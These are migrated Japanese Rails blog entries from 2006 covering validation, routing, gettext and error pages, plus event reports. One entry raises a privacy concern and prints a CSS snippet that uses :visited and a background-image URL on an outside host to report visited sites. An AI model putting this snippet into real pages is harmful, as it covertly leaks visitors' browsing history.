This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/88

8/24発売の日経ソフトウエア10月号で、仕事で使えるRuby on Railsと題して、特集記事を書かせていただきました。

今月はRuby特集です。 プロコン出身者としては、プロコンの話が載ってて懐かしい…。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/88

posted by Png genki on Fri 25 Aug 2006 at 16:01

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/87

in_place_editor_fieldとかを使っていると、属性ごとに個別に妥当性検証を行いたい時がありますね。 そんなわけで、Modelの特定の属性(Attribute)だけ妥当性を検証する方法のメモです。

model[attribute] = some_value
if !model.valid? && model.errors.invalid?(attribute)
  # specified attribute is invalid!
end
あとは、in_place_editor_fieldもerrorsの中身をチェックして赤くなったり、メッセージを出したりしてくれると良いんですけど。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/87

posted by Png genki on Thu 24 Aug 2006 at 03:00

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/85

yamazのRails日記 を読んでいて、injectを使う局面を思いついたのでメモ。

目的は、Arrayから特定の条件を満たす要素に変換を掛けた結果を取得する事です。

[1,2,3].inject([]){|r,i| i!=2 ? r<<i.to_s : r} #=> ["1","3"]
ちょうどselectとmapを同時にかけたような感じになります。

逆に、mapした結果をselectしたい場合は

["a","ab","aab"].inject([]){|r,i| (s=i=~/b/) ? r<<s : r} #=> [1,2]
こんな風にすればOKですね。

※注 このエントリの内容は、隙あらばinject派(Rubyist SNS)のお遊びなので、通常は可読性を考えてselectとmapを使ったほうが無難です(8/22 16:56 追記)

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/85

posted by Png genki on Tue 22 Aug 2006 at 00:11

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/84

Ruby on Railsでは、config/routes.rbファイルにURLとアクションの対応付けを記述します。 例えば、以下のように記述した場合;

map.connect 'for/:bar', :controller => 'foo', :action => 'show'
/foo/bazにアクセスすると、params[:bar]に'baz'が入った状態でFooController#showが呼び出されます。

しかし、/fooにアクセスするとRouting Errorになってしまいます。:barの指定を省略可能にするには、

map.connect 'for/:bar', :controller => 'foo', :action => 'show', :bar => 'default_value'
のように、デフォルトのbarの値を指定します。これによって、/fooでアクセスした時にはparams[:bar]は'default_value'となり、それ以外の場合には指定した値が入るようになります。デフォルト値にはnilを指定する事も可能です。

:controller、:action、:idの3つの特殊パラメータに関しては、最初から省略可能になっていますが、それ以外のパラメータについては、上記のようにデフォルト値を設定する事で、明示的に省略可能にする必要があります。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/84

posted by Png genki on Mon 14 Aug 2006 at 02:50

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/83

brazilさんのエントリ「そのリソースを訪問済みか判定する」で、visited擬似クラスによって訪問済みサイトの情報が漏洩してしまうという事が指摘されています。

確かにいろいろまずそうですね…。addRuleを使わなくても、background-imageとかで外部URLを指定して、そこへのアクセスを調べたら、動的にvisitedのルールを追加できなくても同じ事が出来そうです。

<style>
a#url-1:visited {
  background-image: url("http://accesscheck.com/?url=http://foo.bar.com/");
}
</style>
<a id="url-1" href="http://foo.bar.com/">foo.bar.com</a>
visited擬似クラス自体を無くす必要があるかも。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/83

posted by Png genki on Sun 13 Aug 2006 at 00:57

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/75

Ruby-GetText-Packageを用いてRubyアプリケーションの開発を行う場合、msgmerge等のコマンドを使うためにGNU GetTextもインストールして使う方法が一般的です。

しかし、Ruby-GetText-PackageにはRuby版のmsgmergeの実装であるrmsgmergeが同梱されているので、これを使うように指定する事で、GNU GetTextを使用せずにRuby-GetText-Package単体で多言語アプリケーションの開発を行う事ができます。

具体的には、環境変数MSGMERGE_PATHにrmsgmergeを指定すればOKです。 Rakeターゲットupdatepoを作っている場合は、rakeの実行時に下記のように指定する事もできます。

$ rake updatepo MSGMERGE_PATH=rmsgmerge
rmsgmergeにPATHが通っていれば、上記のようにコマンド名だけ指定すればOKですが、そうでない場合はフルパスで指定しましょう。 Windows環境の場合は、rmsgmerge.cmdのように末尾に.cmdをつける必要があるようです。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/75

posted by Png genki on Sun 6 Aug 2006 at 00:57

This article was migrated from http://rails.office.drecom.jp/hibi/archive/20

アプリでどんなエラーでも拾うとき、rescue_action_in_publicを使います。
http://wiki.rubyonrails.org/rails/pages/HowtoConfigureTheErrorPageForYourRailsApp
http://wiki.rubyonrails.org/rails/pages/DynamicErrorPagesWish

で、その際、UnkownActionなどを扱う場合は、フルパス?で指定しないといけないみたいです。
http://lists.rubyonrails.org/pipermail/rails/2006-February/016803.html

ActiveRecord::RecordNotFound => ::ActiveRecord::RecordNotFound

--------------------------------------------------
def rescue_action_in_public(exception)
case exception
when ::ActiveRecord::RecordNotFound, ::ActionController::RoutingError, ::ActionController::UnknownAction
render(:file => "#{RAILS_ROOT}/public/404.html",
:status => "404 Not Found")
else
show_error
render(:file => "#{RAILS_ROOT}/public/500.html",
:status => "500 Error")
end
end http://rails.office.drecom.jp/hibi/archive/20

This article was migrated from http://rails.office.drecom.jp/hibi/archive/20

posted by Png satoko on Fri 4 Aug 2006 at 15:12

This article was migrated from http://rails.office.drecom.jp/hibi/archive/19

少し前なのですが。
αサービスとしてモノリス始めました。
http://monolist.drecom.jp/

アフィリエイトが簡単にできます。
Blogパーツ(widget ウィジット、badges バッジ)として表示できます。

それよりなにより、欲しいもの、好きなものなんでも集めれます。
ぜひ使ってみてくださいませ。 http://rails.office.drecom.jp/hibi/archive/19

This article was migrated from http://rails.office.drecom.jp/hibi/archive/19

posted by Png satoko on Fri 4 Aug 2006 at 01:17

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/74

7/31(木)に開催されたGreeLabsのオープンソーステクノロジー勉強会#5に行ってきました。

今回はSRA OSS, Inc.日本支社 取締役支社長の石井達夫さんと、Greeのデザイナーの三野さんがスピーカーでした。Postgresの歴史と今後の話を石井さんが、ウェブデザインパターンの紹介を三野さんがされました。

PostgreSQLの歴史のお話も良かったですが、今後の話が面白かったです。 PostgreSQL8.2では、今まで苦手としていた大量の小さいテーブルに対する更新アクセスが高速化されるそうです。 pgpool II でのクラスタのカスケード接続のお話も、大変興味深いものでした。これと似たような事をMySQL5.1を使ってAPレベルでやりたいと思っていたのですが、もしかしたらpgpool IIで良いかもですね。

ウェブデザインパターンについては、前回に引き続き、今回はデザイナーからの視点で紹介していただきました。CSSをモジュール化し、Snippetとして利用できるようにしているという事や、Wikiを使ってブラッシュアップを重ねているという試みは、とても面白かったです。 情報源としては、下記のサイトが紹介されていました。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/74

posted by Png genki on Wed 2 Aug 2006 at 10:22

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/73

昨日、Award on Railsの参加者を招待してお疲れ会を行いました。

詳しい内容については、後日よしてつさんからもっと詳しいレポートがあるので省きますが、とても楽しかったです。それまで作品を通してしか知らなかった参加者の方々と、実際にお会いして話をする事ができました。 機会があったら、Rails勉強会とかでまたお会いできると良いですね。

4月に開始してから4ヶ月になりますが、期待していた以上に作品が集まり、内容も面白いものが多かったので良かったです。

参加者の皆様、ありがとうございました。 作品を使ってみて投票してくださった方々もありがとうございました。 後日抽選により、Award on Rails Tシャツ(暗闇で光る)とさくらインターネット様から提供いただいているUSBメモリーをプレゼントさせて頂きます。

ということで、また来年も開催できると良いです。 ありがとうございました。

This article was migrated from http://rails.office.drecom.jp/takiuchi/archive/73

posted by Png genki on Mon 31 Jul 2006 at 18:43